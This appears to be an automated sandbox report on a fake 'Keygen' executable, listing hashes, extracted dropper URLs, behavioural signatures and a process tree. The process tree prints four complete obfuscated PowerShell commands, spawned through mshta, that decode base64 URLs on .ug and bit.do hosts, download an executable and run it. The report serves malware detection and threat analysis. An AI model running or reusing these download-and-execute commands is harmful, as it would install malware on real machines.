3a27b002eab25417e6ef4cdeb35edd40755a0a20f6c701842f10bfa9448e5c89

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (44) — копия.exe
Size

849KB
MD5

dbde61502c5c0e17ebc6919f361c32b9
SHA1

189749cf0b66a9f560b68861f98c22cdbcafc566
SHA256

88cad5f9433e50af09ac9cad9db06e9003e85be739060b88b64186c05c0d636b
SHA512

d9b8537f05844ec2f2549e2049e967a8023bfe432e3a9cf25fc0f7ad720e57a5830be733e1812cc806c5b68cd9586a031e394f67fc7e3f7fe390625fd5dedfbb

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Signatures

Executes dropped EXE 1 IoCs

Processes:

Keygen.exe

pid process

1800 Keygen.exe
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

2884 timeout.exe
2504 timeout.exe
Modifies registry class 1 IoCs

Processes:

cmd.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings cmd.exe
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid process

3148 powershell.exe
3608 powershell.exe
3148 powershell.exe
3608 powershell.exe
3780 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 3608 powershell.exe
Token: SeDebugPrivilege 3148 powershell.exe
Token: SeDebugPrivilege 3780 powershell.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

Keygen.exe

pid process

1800 Keygen.exe

pid	process
1800	Keygen.exe

pid	process
2884	timeout.exe
2504	timeout.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings	cmd.exe

pid	process
3148	powershell.exe
3608	powershell.exe
3148	powershell.exe
3608	powershell.exe
3780	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3608	powershell.exe
Token: SeDebugPrivilege	3148	powershell.exe
Token: SeDebugPrivilege	3780	powershell.exe

pid	process
1800	Keygen.exe

Suspicious use of WriteProcessMemory 36 IoCs

Processes:

Keygen — копия (44) — копия.execmd.exemshta.exemshta.exemshta.exemshta.exe

description	pid	process	target process
PID 3020 wrote to memory of 352	3020	Keygen — копия (44) — копия.exe	cmd.exe
PID 3020 wrote to memory of 352	3020	Keygen — копия (44) — копия.exe	cmd.exe
PID 3020 wrote to memory of 352	3020	Keygen — копия (44) — копия.exe	cmd.exe
PID 352 wrote to memory of 1800	352	cmd.exe	Keygen.exe
PID 352 wrote to memory of 1800	352	cmd.exe	Keygen.exe
PID 352 wrote to memory of 1800	352	cmd.exe	Keygen.exe
PID 352 wrote to memory of 2116	352	cmd.exe	mshta.exe
PID 352 wrote to memory of 2116	352	cmd.exe	mshta.exe
PID 352 wrote to memory of 2116	352	cmd.exe	mshta.exe
PID 352 wrote to memory of 3224	352	cmd.exe	mshta.exe
PID 352 wrote to memory of 3224	352	cmd.exe	mshta.exe
PID 352 wrote to memory of 3224	352	cmd.exe	mshta.exe
PID 352 wrote to memory of 2884	352	cmd.exe	timeout.exe
PID 352 wrote to memory of 2884	352	cmd.exe	timeout.exe
PID 352 wrote to memory of 2884	352	cmd.exe	timeout.exe
PID 3224 wrote to memory of 3148	3224	mshta.exe	powershell.exe
PID 3224 wrote to memory of 3148	3224	mshta.exe	powershell.exe
PID 3224 wrote to memory of 3148	3224	mshta.exe	powershell.exe
PID 2116 wrote to memory of 3608	2116	mshta.exe	powershell.exe
PID 2116 wrote to memory of 3608	2116	mshta.exe	powershell.exe
PID 2116 wrote to memory of 3608	2116	mshta.exe	powershell.exe
PID 352 wrote to memory of 3360	352	cmd.exe	mshta.exe
PID 352 wrote to memory of 3360	352	cmd.exe	mshta.exe
PID 352 wrote to memory of 3360	352	cmd.exe	mshta.exe
PID 352 wrote to memory of 3812	352	cmd.exe	mshta.exe
PID 352 wrote to memory of 3812	352	cmd.exe	mshta.exe
PID 352 wrote to memory of 3812	352	cmd.exe	mshta.exe
PID 352 wrote to memory of 2504	352	cmd.exe	timeout.exe
PID 352 wrote to memory of 2504	352	cmd.exe	timeout.exe
PID 352 wrote to memory of 2504	352	cmd.exe	timeout.exe
PID 3360 wrote to memory of 3780	3360	mshta.exe	powershell.exe
PID 3360 wrote to memory of 3780	3360	mshta.exe	powershell.exe
PID 3360 wrote to memory of 3780	3360	mshta.exe	powershell.exe
PID 3812 wrote to memory of 2516	3812	mshta.exe	powershell.exe
PID 3812 wrote to memory of 2516	3812	mshta.exe	powershell.exe
PID 3812 wrote to memory of 2516	3812	mshta.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (44) — копия.exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (44) — копия.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3020

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\38D8.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (44) — ?????.exe""
2⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:352

C:\Users\Admin\AppData\Local\Temp\38D8.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1800

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\38D8.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2116

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3608

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\38D8.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3224

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3148

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:2884

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\38D8.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3360

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3780

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\38D8.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3812

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
PID:2516

C:\Windows\SysWOW64\timeout.exe
timeout 2
3⤵
- Delays execution with timeout.exe
PID:2504

Network

MITRE ATT&CK Matrix

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Downloads

C:\Users\Admin\AppData\Local\Temp\38D8.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\38D8.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\38D8.tmp\b.hta
MD5
5bbba448146acc4530b38017be801e2e

SHA1
8c553a7d3492800b630fc7d65a041ae2d466fb36

SHA256
96355db8fd29dcb1f30262c3eac056ff91fd8fa28aa331ed2bedd2bd5f0b3170

SHA512
48e3d605b7c5531cb6406c8ae9d3bd8fbb8f36d7dd7a4cbe0f23fc6ef2df08267ce50d29c7ec86bf861ebdcf9e48fb9c61c218f6584f1a9a0289a10a2fec730b

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C:\Users\Admin\AppData\Local\Temp\38D8.tmp\b1.hta

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C:\Users\Admin\AppData\Local\Temp\38D8.tmp\m.hta

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C:\Users\Admin\AppData\Local\Temp\38D8.tmp\m1.hta

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C:\Users\Admin\AppData\Local\Temp\38D8.tmp\start.bat

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memory/352-0-0x0000000000000000-mapping.dmp

Download
memory/1800-2-0x0000000000000000-mapping.dmp

Download
memory/1800-3-0x0000000000000000-mapping.dmp

Download
memory/2116-7-0x0000000000000000-mapping.dmp

Download
memory/2504-35-0x0000000000000000-mapping.dmp

Download
memory/2516-42-0x0000000070920000-0x000000007100E000-memory.dmp

Filesize
6.9MB

Download
memory/2516-37-0x0000000000000000-mapping.dmp

Download
memory/2884-11-0x0000000000000000-mapping.dmp

Download
memory/3148-21-0x0000000007780000-0x0000000007781000-memory.dmp

Filesize
4KB

Download
memory/3148-23-0x00000000076A0000-0x00000000076A1000-memory.dmp

Filesize
4KB

Download
memory/3148-25-0x0000000007EA0000-0x0000000007EA1000-memory.dmp

Filesize
4KB

Download
memory/3148-26-0x00000000080F0000-0x00000000080F1000-memory.dmp

Filesize
4KB

Download
memory/3148-28-0x0000000008160000-0x0000000008161000-memory.dmp

Filesize
4KB

Download
memory/3148-12-0x0000000000000000-mapping.dmp

Download
memory/3148-40-0x0000000008530000-0x0000000008531000-memory.dmp

Filesize
4KB

Download
memory/3148-17-0x0000000070920000-0x000000007100E000-memory.dmp

Filesize
6.9MB

Download
memory/3148-43-0x00000000085C0000-0x00000000085C1000-memory.dmp

Filesize
4KB

Download
memory/3224-9-0x0000000000000000-mapping.dmp

Download
memory/3360-32-0x0000000000000000-mapping.dmp

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memory/3608-13-0x0000000000000000-mapping.dmp

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memory/3608-16-0x0000000070920000-0x000000007100E000-memory.dmp

Filesize
6.9MB

Download
memory/3608-19-0x0000000006B30000-0x0000000006B31000-memory.dmp

Filesize
4KB

Download
memory/3780-38-0x0000000070920000-0x000000007100E000-memory.dmp

Filesize
6.9MB

Download
memory/3780-36-0x0000000000000000-mapping.dmp

Download
memory/3812-34-0x0000000000000000-mapping.dmp

Download